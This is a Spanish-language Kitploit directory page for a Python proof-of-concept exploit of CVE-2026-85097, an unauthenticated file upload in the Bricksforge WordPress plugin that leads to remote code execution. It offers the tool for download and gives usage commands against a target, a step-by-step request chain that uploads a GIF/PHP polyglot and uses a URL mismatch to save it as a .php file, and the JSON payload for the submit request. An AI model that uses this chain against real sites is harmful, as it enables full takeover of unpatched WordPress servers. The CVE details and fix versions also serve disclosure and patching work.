Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85097 — Prueba de concepto (PoC) en Python que explota CVE-2026-85097, una carga de archivos no autenticada en Bricksforge <= 3.1.8.9, utilizando un polyglot GIF/PHP y un desajuste de URL para lograr RCE. | Kitploit
Herramientas/GitHubGitHub/blackhatexploitation/cve-2026-85097
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHub
blackhatexploitation/cve-2026-85097

CVE-2026-85097

Prueba de concepto (PoC) en Python que explota CVE-2026-85097, una carga de archivos no autenticada en Bricksforge <= 3.1.8.9, utilizando un polyglot GIF/PHP y un desajuste de URL para lograr RCE.

Ver Repositorio
11hace 22 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-85097

Carga de archivos no autenticada en Bricksforge <= 3.1.8.9 → RCE mediante PHP.

temporaryFileUploads.url se toma del cliente al enviar el formulario. El MIME se comprueba en la primera carga y, después, copy() usa basename($url) como nombre de destino.

CVECVE-2026-85097
CWECWE-434
CVSS9.8 / 10.0
AfectadoBricksforge <= 3.1.8.9
Corregido3.1.8.10, 4.0.1
Autenticaciónninguna

Configuración

pip3 install requests

Uso

python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file

Requiere un Pro Form activo. El campo de carga es opcional.

Cadena de explotación

  1. POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_nonce
  2. POST /wp-json/bricksforge/v1/form_file_upload — políglota GIF/PHP (MIME válido)
  3. POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .php
  4. GET /wp-content/uploads/YYYY/MM/*.php — cuerpo CVE-2026-85097-OK
{
  "temporaryFileUploads": [
    {
      "field": "form-field-file",
      "file": {
        "file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
        "url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
        "type": "image/gif"
      }
    }
  ]
}

Referencias

  • https://www.cve.org/CVERecord?id=CVE-2026-85097
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/e993c929-f175-43a7-92e6-9d3b089b8dde
  • https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
  • https://bricksforge.io/version-changelog/
Descargar herramienta